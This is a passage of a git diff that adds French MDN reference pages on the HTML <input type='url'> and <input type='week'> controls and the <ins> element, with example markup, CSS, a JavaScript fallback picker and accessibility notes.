+
+<p>Il est conseillé d'utiliser l'attribut {{htmlattrxref("title")}} quand on utilise l'attribut <code>pattern</code>. Dans ce cas, l'attribut <code>title</code> doit alors décrire l'expression rationnelle (et l'explication de la contrainte) plutôt que le rôle du champ. En effet, la valeur contenue dans <code>title</code> pourrait alors être affichée ou vocalisée comme message d'erreur. Un navigateur pourra ainsi affiche un message : "Le texte saisi ne respecte pas la format souhaité." suivi du texte contenu dans <code>title</code>. Si la valeur de <code>title</code> est simplement "URL", le message complet obtenu serait "Le texte saisi ne respecte pas la format souhaité. URL" (ce qui n'est pas très parlant).</p>
+
+<p>C'est pourquoi nous avons écrit "L'URL doit être sur le domaine maboite" qui est plus détaillé.</p>
+
+<div class="note">
+<p><strong>Note </strong>: Si vous rencontrez des problèmes avec ces expressions rationnelles et qu'elles ne semblent pas fonctionner correctement, vérifiez la console de votre navigateur. Il est possible que des messages d'erreur y soient affichés et puissent vous aider à diagnostiquer le problème.</p>
+</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>En plus des exemples précédents, vous pouvez consulter <a href="https://github.com/mdn/learning-area/blob/master/html/forms/url-example/index.html">l'exemple de validation de format sur GitHub</a> (et voir <a href="https://mdn.github.io/learning-area/html/forms/url-example/">le résultat <em>live</em></a>).</p>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <td><strong>{{anch("Valeur")}}</strong></td>
+   <td>Une chaîne de caractères ({{domxref("DOMString")}}) qui représente une URL ou une chaîne de caractères vide.</td>
+  </tr>
+  <tr>
+   <td><strong>Évènements</strong></td>
+   <td>{{event("change")}} et {{event("input")}}</td>
+  </tr>
+  <tr>
+   <td><strong>Attributs pris en charge</strong></td>
+   <td>{{htmlattrxref("autocomplete", "input")}}, {{htmlattrxref("list", "input")}}, {{htmlattrxref("maxlength", "input")}}, {{htmlattrxref("minlength", "input")}}, {{htmlattrxref("pattern", "input")}}, {{htmlattrxref("placeholder", "input")}}, {{htmlattrxref("readonly", "input")}}, {{htmlattrxref("required", "input")}} et {{htmlattrxref("size", "input")}}</td>
+  </tr>
+  <tr>
+   <td><strong>Attributs IDL</strong></td>
+   <td><code>list</code>, <code>value</code>, <code>selectionEnd</code>, <code>selectionDirection</code></td>
+  </tr>
+  <tr>
+   <td><strong>Méthodes</strong></td>
+   <td>{{domxref("HTMLInputElement.select", "select()")}}, {{domxref("HTMLInputElement.setRangeText", "setRangeText()")}}, {{domxref("HTMLInputElement.setSelectionRange", "setSelectionRange()")}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#url-state-(type=url)', '&lt;input type="url"&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', 'sec-forms.html#url-state-typeurl', '&lt;input type="url"&gt;')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("URL", "#urls", "URL syntax")}}</td>
+   <td>{{Spec2("URL")}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("html.elements.input.input-url")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires">Guide sur les formulaires HTML</a></li>
+ <li>{{HTMLElement("input")}}</li>
+ <li><code><a href="/fr/docs/Web/HTML/Element/input/tel">&lt;input type="tel"&gt;</a></code></li>
+ <li><code><a href="/fr/docs/Web/HTML/Element/input/email">&lt;input type="email"&gt;</a></code></li>
+</ul>
diff --git a/files/fr/web/html/element/input/week/index.html b/files/fr/web/html/element/input/week/index.html
new file mode 100644
index 0000000000..64749c5ad3
--- /dev/null
+++ b/files/fr/web/html/element/input/week/index.html
@@ -0,0 +1,389 @@
+---
+title: <input type="week">
+slug: Web/HTML/Element/Input/week
+tags:
+  - Element
+  - Formulaires
+  - HTML
+  - Input
+  - Reference
+translation_of: Web/HTML/Element/input/week
+---
+<div>{{HTMLRef}}</div>
+
+<p>Les éléments {{htmlelement("input")}} dont l'attribut <code>type</code> vaut <code><strong>week</strong></code> permettent de créer des champs de saisie où l'on peut saisir une année et le numéro de la semaine pendant cette année (allant de 1 à 52 ou 53, suivant la norme <a href="https://fr.wikipedia.org/wiki/ISO_8601#Num%C3%A9ro_de_semaine">ISO 8601</a>).</p>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/input-week.html", "tabbed-shorter")}}</div>
+
+<div class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</div>
+
+<p>L'interface utilisateur offerte par un tel contrôle varie en fonction des navigateurs. Au moment où nous écrivons ces lignes, seuls Chrome/Opera et Edge prennent en charge cette fonctionnalité. Pour les navigateurs qui ne l'implémentent pas, l'élément est interprété comme un élément <code><a href="/fr/docs/Web/HTML/Element/input/text">&lt;input type="text"&gt;</a></code>.</p>
+
+<p>Sous Chrome/Opera, le contrôle <code>week</code> fournit des emplacements pour les deux valeurs. Un calendrier est affiché afin de sélectionner plus faiclement la semaine et l'année. Un bouton avec une croix permet de supprimer la valeur saisie dans le contrôle.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15409/week-control-chrome.png" style="display: block; height: 235px; margin: 0px auto; width: 320px;"></p>
+
+<p>Pour Edge, le contrôle associé à <code>month</code> est plus élaboré et se compose de deux listes qu'on peut faire défiler séparement pour la semaine d'une part et l'année d'autre part.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15411/week-control-edge.png" style="display: block; height: 391px; margin: 0px auto; width: 227px;"></p>
+
+<h2 id="Valeur">Valeur</h2>
+
+<p>Une chaîne de caractères ({{domxref("DOMString")}}) qui représente la valeur de la semaine et de l'année saisies dans le champ. Le format précis de représentation d'une semaine donnée est décrit dans <a href="/fr/docs/Web/HTML/Formats_date_heure_HTML#Représentation_des_semaines">l'article sur les formats des dates et heures en HTML</a>.</p>
+
+<p>Il est possible de définir une valeur par défaut grâce à l'attribut {{htmlattrxref("value", "input")}} de la façon suivante :</p>
+
+<pre class="brush: html">&lt;label for="week"&gt;À quelle semaine souhaiteriez-vous démarrer ?&lt;/label&gt;
+&lt;input id="week" type="week" name="week" value="2017-W01"&gt;</pre>
+
+<p>{{EmbedLiveSample('Valeur', 600, 60)}}</p>
+
+<p>On notera que le format affiché peut être différent de la valeur réellement utilisée pour l'attribut <code>value</code>. Cette dernière respecte toujours le format <code>yyyy-Www</code> (soit les quatre chiffres de l'année, suivi d'un tiret, suivi d'un W majuscule suivi des deux chiffres pour la semaine). Dans l'exemple précédent par exemple, l'interface utilisateur pourra afficher <code>Semaine 01 de l'année 2017</code> mais la valeur envoyée via le formulaire aura toujours la structure <code>week=2017-W01</code>.</p>
+
+<p>Il est également possible d'accéder à la valeur ou de la définir en JavaScript grâce à la propriété {{domxref("HTMLInputElement.value")}}. Par exemple :</p>
+
+<pre class="brush: js">var weekControl = document.querySelector('input[type="week"]');
+weekControl.value = '2017-W45';</pre>
+
+<h2 id="Attributs_supplémentaires">Attributs supplémentaires</h2>
+
+<p>En complément des attributs pris en charge par l'ensemble des éléments {{HTMLElement("input")}}, les champs de semaine gèrent les attributs suivants :</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Attribut</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>{{anch("max")}}</code></td>
+   <td>La semaine (avec l'année) la plus tardive qui est considérée comme valide.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("min")}}</code></td>
+   <td>La semaine (avec l'année) la plus tôt qui est considérée comme valide.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("readonly")}}</code></td>
+   <td>Un booléen qui indique si l'utilisateur peut modifier la valeur du champ.</td>
+  </tr>
+  <tr>
+   <td><code>{{anch("step")}}</code></td>
+   <td>Le pas qui est utilisé pour incrémenter la valeur du champ. Cet incrément est utilisé par l'interface utilisateur et également pour vérifier la valeur.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="htmlattrdef(max)">{{htmlattrdef("max")}}</h3>
+
+<p>La semaine la plus tardive, indiquée avec l'année, sous la forme d'une chaîne de caractères au format <code>"yyyy-Www"</code>. Si la valeur saisie dans le champ (représentée par l'attribut {{htmlattrxref("value", "input")}}) est supérieure à cette date, <a href="/fr/docs/Web/Guide/HTML/HTML5/Constraint_validation">la validation échouera</a>. Si la valeur fournie n'est pas une chaîne de caractères au format correct, aucun maximum ne sera fixé pour la valeur du contrôle.</p>
+
+<p>Cette valeur doit être supérieure ou égale à celle indiquée par l'attribut <code>min</code>.</p>
+
+<h3 id="htmlattrdef(min)">{{htmlattrdef("min")}}</h3>
+
+<p>La semaine la plus tôt, indiquée avec l'année, sous la forme d'une chaîne de caractères au format <code>"yyyy-Www"</code>. Si la valeur saisie dans le champ (représentée par l'attribut {{htmlattrxref("value", "input")}}) est antérieure à cette date, <a href="/fr/docs/Web/Guide/HTML/HTML5/Constraint_validation">la validation échouera</a>. Si la valeur fournie pour cet attribut n'est pas une chaîne de caractères au format correct, aucun minimum ne sera fixé pour la valeur du contrôle.</p>
+
+<p>Cette valeur doit être inférieure ou égale à celle indiquée par l'attribut <code>max</code>.</p>
+
+<p>{{page("/fr/docs/Web/HTML/Element/input/text", "readonly", 0, 1, 2)}}</p>
+
+<h3 id="htmlattrdef(step)">{{htmlattrdef("step")}}</h3>
+
+<p>{{page("/fr/docs/Web/HTML/Element/input/number", "step-include")}}</p>
+
+<p>Pour les champs de type <code>week</code>, la valeur de l'attribut <code>step</code> est indiquée en nombre de semaine et le facteur de multiplication est 604 800 000 (qui correspond au nombre de millisecondes dans une semaine). Par défaut, la valeur de <code>step</code> est 1. La base à partir de laquelle incrémenter par défaut est -259 200 000 qui correspond à la première semaine de 1970 (<code>"1970-W01"</code>).</p>
+
+<p><em>À l'heure où ces lignes sont écrites, la signification de la valeur <code>"any"</code> pour l'attribut <code>step</code> pour les champs <code>week</code> n'est pas certaine. Cette information sera mise à jour dès que possible.</em></p>
+
+<h2 id="Utiliser_les_contrôles_de_type_week">Utiliser les contrôles de type <code>week</code></h2>
+
+<p>Ces contrôles peuvent être pratiques selon certains aspects : ils permettent de sélectionner une semaine de façon simple, les données envoyées au serveur sont normalisées quelle que soit la langue ou le navigateur de l'utilisateur. Toutefois, en raison de la prise en charge des navigateurs actuellement limitée, <code>&lt;input type="week"&gt;</code> pose quelques défis.</p>
+
+<p>Nous verrons par la suite quelques cas d'utilisation simples puis complexes avant de voir comment gérer l'hétérogénéité des différents navigateurs (cf. {{anch("Gérer la prise en charge des navigateurs")}}).</p>
+
+<h3 id="Utilisation_simple">Utilisation simple</h3>
+
+<p>La forme la plus simple de <code>&lt;input type="week"&gt;</code> se compose d'un élément <code>&lt;input&gt;</code> et d'un élément {{htmlelement("label")}} :</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;label for="week"&gt;À quelle semaine souhaiteriez-vous commencer ?&lt;/label&gt;
+  &lt;input id="week" type="week" name="week"&gt;
+&lt;/form&gt;</pre>
+
+<p>{{EmbedLiveSample('Utilisation_simple', 600, 40)}}</p>
+
+<h3 id="Contrôler_la_taille_du_champ">Contrôler la taille du champ</h3>
+
+<p><code>&lt;input type="week"&gt;</code> ne prend pas en charge des attributs de dimensionnement (tel que {{htmlattrxref("size", "input")}}). Il sera nécessaire d'utiliser <a href="/fr/docs/Web/CSS">CSS</a> si on a besoin de modifier la taille du contrôle.</p>
+
+<h3 id="Utiliser_l'attribut_step">Utiliser l'attribut <code>step</code></h3>
+
+<p>En théorie, l'attribut {{htmlattrxref("step", "input")}} devrait pouvoir être employé pour définir l'incrément minimal entre chaque semaine sélectionnable. Toutefois, il ne semble avoir encore aucun effet pour les navigateurs qui prennent en charge ce contrôle.</p>
+
+<h2 id="Validation">Validation</h2>
+
+<p>Par défaut, <code>&lt;input type="week"&gt;</code> n'applique aucune validation aux valeurs saisies. Les interfaces utilisateurs affichées ne permettent pas de saisir autre chose qu'un couple semaine / année. Toutefois, il est toujours possible de ne sélectionner aucune valeur, on peut également vouloir restreindre la plage de semaines qui peuvent être sélectionnées.</p>
+
+<h3 id="Paramétrer_des_semaines_minimum_et_maximum">Paramétrer des semaines minimum et maximum</h3>
+
+<p>Les attributs {{htmlattrxref("min", "input")}} et {{htmlattrxref("max", "input")}} peuvent être utilisés afin de restreindre les semaines qui peuvent être sélectionnées par l'utilisateur. Dans l'exemple qui suit, on indique une valeur minimale correspondant à la première semaine de 2017 et une valeur maximale correspondant à la dernière semaine de 2017 :</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;label for="week"&gt;À quelle semaine souhaiteriez-vous commencer ?&lt;/label&gt;
+  &lt;input id="week" type="week" name="week"
+         min="2017-W01" max="2017-W52"&gt;
+  &lt;span class="validity"&gt;&lt;/span&gt;
+&lt;/form&gt;</pre>
+
+<p>{{EmbedLiveSample('Paramétrer_des_semaines_minimum_et_maximum', 600, 40)}}</p>
+
+<p>Voici la feuille de style utilisée dans l'exemple précédent. Vous pourrez noter qu'on utilise les pseudo-classes {{cssxref(":valid")}} et {{cssxref(":invalid")}} afin de mettre en forme le contrôle selon que la valeur saisie est valide ou non. Les icônes associées sont placées dans un élément {{htmlelement("span")}} situé à côté du champ et non sur le champ même car, pour Chrome, le contenu généré dynamiquement avec les pseudo-éléments serait placé dans le contrôle du formulaire et ne pourrait être mis en forme efficacement.</p>
+
+<pre class="brush: css">div {
+  margin-bottom: 10px;
+  position: relative;
+}
+
+input[type="number"] {
+  width: 100px;
+}
+
+input + span {
+  padding-right: 30px;
+}
+
+input:invalid+span:after {
+  position: absolute;
+  content: '✖';
+  padding-left: 5px;
+}
+
+input:valid+span:after {
+  position: absolute;
+  content: '✓';
+  padding-left: 5px;
+}</pre>
+
+<p>Pour les navigateurs qui prennent en charge ce contrôle et ces fonctionnalités, on ne pourra sélectionner que les semaines de l'année 2017.</p>
+
+<h3 id="Rendre_la_valeur_obligatoire">Rendre la valeur obligatoire</h3>
+
+<p>On peut aussi utiliser l'attribut {{htmlattrxref("required", "input")}} afin que la saisie de la valeur soit obligatoire. Pour les navigateurs qui prennent en charge cette fonctionnalité, une erreur sera affichée lorsqu'on tentera d'envoyer un formulaire avec un champ vide pour une semaine.</p>
+
+<p>Prenons un autre exemple (où la période a été restreinte comme précédemment) et où le champ est obligatoire :</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;div&gt;
+    &lt;label for="week"&gt;À quelle semaine souhaiteriez-vous commencer ?&lt;/label&gt;
+    &lt;input id="week" type="week" name="week"
+         min="2017-W01" max="2017-W52" required&gt;
+    &lt;span class="validity"&gt;&lt;/span&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+      &lt;input type="submit" value="Envoyer le formulaire"&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>Si vous essayez de soumettre le formulaire sans aucune valeur, le navigateur affichera une erreur. Vous pouvez tester avec l'exemple qui suit :</p>
+
+<p>{{EmbedLiveSample('Rendre_la_valeur_obligatoire', 600, 120)}}</p>
+
+<p>Voici une capture d'écran du résultat obtenu si votre navigateur ne prend pas en charge cette fonctionnalité :</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15415/week-validation-chrome.png" style="display: block; height: 85px; margin: 0px auto; width: 473px;"></p>
+
+<div class="warning">
+<p><strong>Important </strong>: la validation des données du formulaire HTML par le navigateur ne se substitue pas à la validation des données reçues côté serveur. En effet, il est tout à fait possible pour un utilisateur de modifier le HTML côté client et de passer outre les contraintes normalement appliquées. Il est également possible d'envoyer des données au serveur sans passer par le formulaire. Ne pas vérifier les données reçues côté serveur expose à des risques d'erreur voire d'attaques.</p>
+</div>
+
+<h2 id="Gérer_la_prise_en_charge_des_navigateurs">Gérer la prise en charge des navigateurs</h2>
+
+<p>Comme évoqué plus haut, le principal problème associé à ce type de contrôle est l'absence de prise en charge par Safari, Firefox (hors mobile) et les anciennes versions d'Internet Explorer (pré-Edge).</p>
+
+<p>Les plateformes mobiles comme Android et iOS fournissent un contrôle natif à l'ergonomie tactile adaptée. Voici par exemple le sélecteur <code>week</code> sur Chrome pour Android :</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/15413/week-chrome-android.png" style="display: block; margin: 0 auto;"></p>
+
+<p>Les navigateurs qui ne prennent pas en charge ce type de contrôle l'interprètent comme un champ texte mais cela crée des problèmes de cohérence tant au niveau de l'ergonomie qu'au niveau de la représentation des données.</p>
+
+<p>C'est ce deuxième aspect qui peut poser le plus de problème. Comme nous l'avons mentionné avant, un contrôle <code>week</code> verra sa valeur normalisée pour respecter le format <code>yyyy-Www</code>. En revanche, pour un champ texte non reconnu par le navigateur, les utilisateurs pourraient saisir des semaines selon une variété de formats :</p>
+
+<ul>
+ <li><code>Première semaine de 2017</code></li>
+ <li><code>Du 2 au 8 janvier 2017</code></li>
+ <li><code>2017-W01</code></li>
+ <li>etc.</li>
+</ul>
+
+<p>Si on souhaite gérer cette saisie de façon compatible entre les différents navigateurs, on utilisera alors deux contrôles distincts (représentés par des éléments {{htmlelement("select")}}) qui représenteront respectivement le numéro de la semaine et l'année.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple qui suit, on construit deux ensembles d'éléments pour sélectionner une semaine : un sélecteur natif avec <code>&lt;input type="week"&gt;</code> et un second composé de deux éléments {{htmlelement("select")}} qui permettent de choisir la semaine et l'année sur les navigateurs qui ne prennent pas en charge le contrôle natif.</p>
+
+<p>{{EmbedLiveSample('Exemples', 600, 140)}}</p>
+
+<p>Voici le code HTML utilisé :</p>
+
+<pre class="brush: html">&lt;form&gt;
+  &lt;div class="nativeWeekPicker"&gt;
+    &lt;label for="week"&gt;À quelle semaine souhaiteriez-vous commencer ?&lt;/label&gt;
+    &lt;input id="week" type="week" name="week"
+           min="2017-W01" max="2018-W52" required&gt;
+    &lt;span class="validity"&gt;&lt;/span&gt;
+  &lt;/div&gt;
+  &lt;p class="fallbackLabel"&gt;À quelle semaine souhaiteriez-vous commencer ?&lt;/p&gt;
+  &lt;div class="fallbackWeekPicker"&gt;
+    &lt;div&gt;
+      &lt;span&gt;
+        &lt;label for="week"&gt;Semaine :&lt;/label&gt;
+        &lt;select id="fallbackWeek" name="week"&gt;
+        &lt;/select&gt;
+      &lt;/span&gt;
+      &lt;span&gt;
+        &lt;label for="year"&gt;Année :&lt;/label&gt;
+        &lt;select id="year" name="year"&gt;
+          &lt;option value="2017" selected&gt;2017&lt;/option&gt;
+          &lt;option value="2018"&gt;2018&lt;/option&gt;
+        &lt;/select&gt;
+      &lt;/span&gt;
+    &lt;/div&gt;
+  &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>On génère les valeurs des semaines dynamiquement.</p>
+
+<div class="hidden">
+<pre class="brush: css">div {
+  margin-bottom: 10px;
+  position: relative;
+}
+
+input[type="number"] {
+  width: 100px;
+}
+
+input + span {
+  padding-right: 30px;
+}
+
+input:invalid+span:after {
+  position: absolute;
+  content: '✖';
+  padding-left: 5px;
+}
+
+input:valid+span:after {
+  position: absolute;
+  content: '✓';
+  padding-left: 5px;
+}</pre>
+</div>
+
+<p>Dans le fragment de code JavaScript qui suit, on montre comment détecter si la fonctionnalité est prise en charge ou non. Pour cela, on crée un nouvel élément {{htmlelement("input")}} et on règle son <code>type</code> sur <code>week</code> puis on vérifie immédiatement la valeur de son type. Les navigateurs qui ne prennent pas en charge la fonctionnalité renverront <code>text</code>. Si c'est le cas, on masque le sélecteur natif et on affiche le sélecteur alternatif composé des deux éléments {{htmlelement("select")}}.</p>
+
+<pre class="brush: js">// On définit certaines variables
+var nativePicker = document.querySelector('.nativeWeekPicker');
+var fallbackPicker = document.querySelector('.fallbackWeekPicker');
+var fallbackLabel = document.querySelector('.fallbackLabel');
+
+var yearSelect = document.querySelector('#year');
+var weekSelect = document.querySelector('#fallbackWeek');
+
+// À l'état initial, on masque le sélecteur alternatif
+fallbackPicker.style.display = 'none';
+fallbackLabel.style.display = 'none';
+
+// On teste si le sélecteur natif se transforme en
+// contrôle de saisie de texte ou non
+var test = document.createElement('input');
+test.type = 'week';
+// Si c'est le cas, on exécute le code dans le bloc
+// conditionnel if() {}
+if(test.type === 'text') {
+  // On masque alors le sélecteur natif et
+  // on affiche le sélecteur alternatif
+  nativePicker.style.display = 'none';
+  fallbackPicker.style.display = 'block';
+  fallbackLabel.style.display = 'block';
+
+  // On ajoute les semaines dynamiquement
+  populateWeeks();
+}
+
+function populateWeeks() {
+  // On ajoute 52 semaines grâce à une boucle
+  for(var i = 1; i &lt;= 52; i++) {
+    var option = document.createElement('option');
+    option.textContent = (i &lt; 10) ? ("0" + i) : i;
+    weekSelect.appendChild(option);
+  }
+}</pre>
+
+<div class="note">
+<p><strong>Note :</strong> Attention, certaines années peuvent contenir 53 semaines ! (cf. <a href="https://en.wikipedia.org/wiki/ISO_week_date#Weeks_per_year">cet article Wikipédia</a>) Il vous faudra prendre cela en compte si vous souhaitez développer des applications réelles.</p>
+</div>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <td><strong>{{anch("Valeur")}}</strong></td>
+   <td>Une chaîne de caractères ({{domxref("DOMString")}}) qui représente une semaine et une année ou la chaîne vide.</td>
+  </tr>
+  <tr>
+   <td><strong>Évènements</strong></td>
+   <td>{{domxref("HTMLElement/change_event", "change")}} et {{domxref("HTMLElement/input_event", "input")}}.</td>
+  </tr>
+  <tr>
+   <td><strong>Attributs pris en charge</strong></td>
+   <td>{{htmlattrxref("autocomplete", "input")}}, {{htmlattrxref("list", "input")}}, {{htmlattrxref("readonly", "input")}} et {{htmlattrxref("step", "input")}}.</td>
+  </tr>
+  <tr>
+   <td><strong>Attributs IDL</strong></td>
+   <td><code>value</code>, <code>valueAsDate</code>, <code>valueAsNumber</code>, <code>list</code>.</td>
+  </tr>
+  <tr>
+   <td><strong>Méthodes</strong></td>
+   <td>{{domxref("HTMLInputElement.select", "select()")}}, {{domxref("HTMLInputElement.stepDown", "stepDown()")}}, {{domxref("HTMLInputElement.stepUp", "stepUp()")}}.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'forms.html#week-state-(type=week)', '&lt;input type="week"&gt;')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("html.elements.input.input-week")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'élément générique {{HTMLElement("input")}}</li>
+ <li>L'interface du DOM qui permet de le manipuler {{domxref("HTMLInputElement")}}</li>
+ <li><a href="/fr/docs/Web/HTML/Formats_date_heure_HTML">Les formats de date et d'heure utilisés en HTML</a></li>
+ <li><code><a href="/fr/docs/Web/HTML/Element/input/datetime-local">&lt;input type="datetime-local"&gt;</a></code>, <code><a href="/fr/docs/Web/HTML/Element/input/date">&lt;input type="date"&gt;</a></code>, <code><a href="/fr/docs/Web/HTML/Element/input/time">&lt;input type="time"&gt;</a></code>, and <code><a href="/fr/docs/Web/HTML/Element/input/month">&lt;input type="month"&gt;</a></code></li>
+</ul>
diff --git a/files/fr/web/html/element/ins/index.html b/files/fr/web/html/element/ins/index.html
new file mode 100644
index 0000000000..ceadaa98df
--- /dev/null
+++ b/files/fr/web/html/element/ins/index.html
@@ -0,0 +1,145 @@
+---
+title: <ins>
+slug: Web/HTML/Element/ins
+tags:
+  - Element
+  - HTML
+  - Reference
+  - Web
+translation_of: Web/HTML/Element/ins
+---
+<div>{{HTMLRef}}</div>
+
+<p>L'élément HTML <strong><code>&lt;ins&gt;</code></strong> représente un fragment de texte qui a été ajouté dans un document.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> À l'inverse, on pourra utiliser l'élément {{HTMLElement("del")}} afin de représenter un fragment de texte supprimé.</p>
+</div>
+
+<div>{{EmbedInteractiveExample("pages/tabbed/ins.html", "tabbed-standard")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Attributs">Attributs</h2>
+
+<p>On peut utiliser <a href="/fr/docs/Web/HTML/Attributs_universels">les attributs universels</a> pour cet élément.</p>
+
+<dl>
+ <dt>{{htmlattrdef("cite")}}</dt>
+ <dd>Cet attribut définit l'URI d'une ressource qui explique la modification (par exemple, un compte-rendu de réunion ou un lien vers un rapport).</dd>
+ <dt>{{htmlattrdef("datetime")}}</dt>
+ <dd>Cet attribut indique la date et l'heure de la modification. La valeur de cet attribut doit être <a href="https://www.w3.org/TR/2011/WD-html5-20110525/common-microsyntaxes.html#valid-date-string-with-optional-time">une date valide avec une chaîne de caractères optionnelle pour l'heure</a>. Si la valeur ne peut pas être analysée comme une date, l'indication temporelle sera absente de l'élément. Voir <a href="/fr/docs/Web/HTML/Formats_date_heure_HTML">l'article sur les formats</a> pour la représentation d'<a href="/fr/docs/Web/HTML/Formats_date_heure_HTML#Représentation_des_dates">une date seule</a> ou d'<a href="/fr/docs/Web/HTML/Formats_date_heure_HTML#Représentation_des_dates_et_heures_locales">une date avec une heure</a>.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p&gt;Le texte &lt;ins&gt;Ce texte a été ajouté&lt;/ins&gt; original.&lt;/p&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","100%","100%")}}</p>
+
+<h2 id="Accessibilité">Accessibilité</h2>
+
+<p>Par défaut, la plupart des outils d'assistance n'annoncent pas la présence de l'élément <code>ins</code>. On peut le rendre annonçable via la propriété CSS {{cssxref("content")}} et grâce aux pseudo-éléments {{cssxref("::before")}} et {{cssxref("::after")}}.</p>
+
+<pre>ins::before,
+ins::after {
+  clip-path: inset(100%);
+  clip: rect(1px, 1px, 1px, 1px);
+  height: 1px;
+  overflow: hidden;
+  position: absolute;
+  white-space: nowrap;
+  width: 1px;
+}
+
+ins::before {
+  content: " [Début de l'insertion]";
+}
+
+ins::after {
+  content: " [Fin de l'insertion] ";
+}
+</pre>
+
+<p>Certaines personnes qui utilisent des lecteurs d'écran désactivent sciemment ces annonces pour éviter une verbosité trop importante. Il est donc important de ne pas abuser de cette technique et de ne l'appliquer qu'à des situations où il est nécessaire de comprendre que du contenu a été inséré.</p>
+
+<ul>
+ <li><a href="https://developer.paciellogroup.com/blog/2017/12/short-note-on-making-your-mark-more-accessible/"><em>Short note on making your mark (more accessible) | The Paciello Group</em> (en anglais)</a></li>
+ <li><a href="http://adrianroselli.com/2017/12/tweaking-text-level-styles.html"><em>Tweaking Text Level Styles | Adrian Roselli</em> (en anglais)</a></li>
+</ul>
+
+<h2 id="Résumé_technique">Résumé technique</h2>
+
+<table class="properties">
+ <tbody>
+  <tr>
+   <th scope="row"><a href="/fr/docs/Web/HTML/Catégorie_de_contenu">Catégories de contenu</a></th>
+   <td><a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_phras%C3%A9">Contenu phrasé</a> ou <a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_de_flux">contenu de flux</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Contenu autorisé</th>
+   <td><a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Mod%C3%A8le_de_contenu_transparent">Contenu transparent</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Omission de balise</th>
+   <td>Aucune, la balise ouvrante et la balise fermante doivent être présentes.</td>
+  </tr>
+  <tr>
+   <th scope="row">Parents autorisés</th>
+   <td>Tout élément qui accepte du <a href="/fr/docs/Web/HTML/Cat%C3%A9gorie_de_contenu#Contenu_phras%C3%A9">contenu phrasé</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Rôles ARIA autorisés</th>
+   <td>Tous les rôles sont autorisés.</td>
+  </tr>
+  <tr>
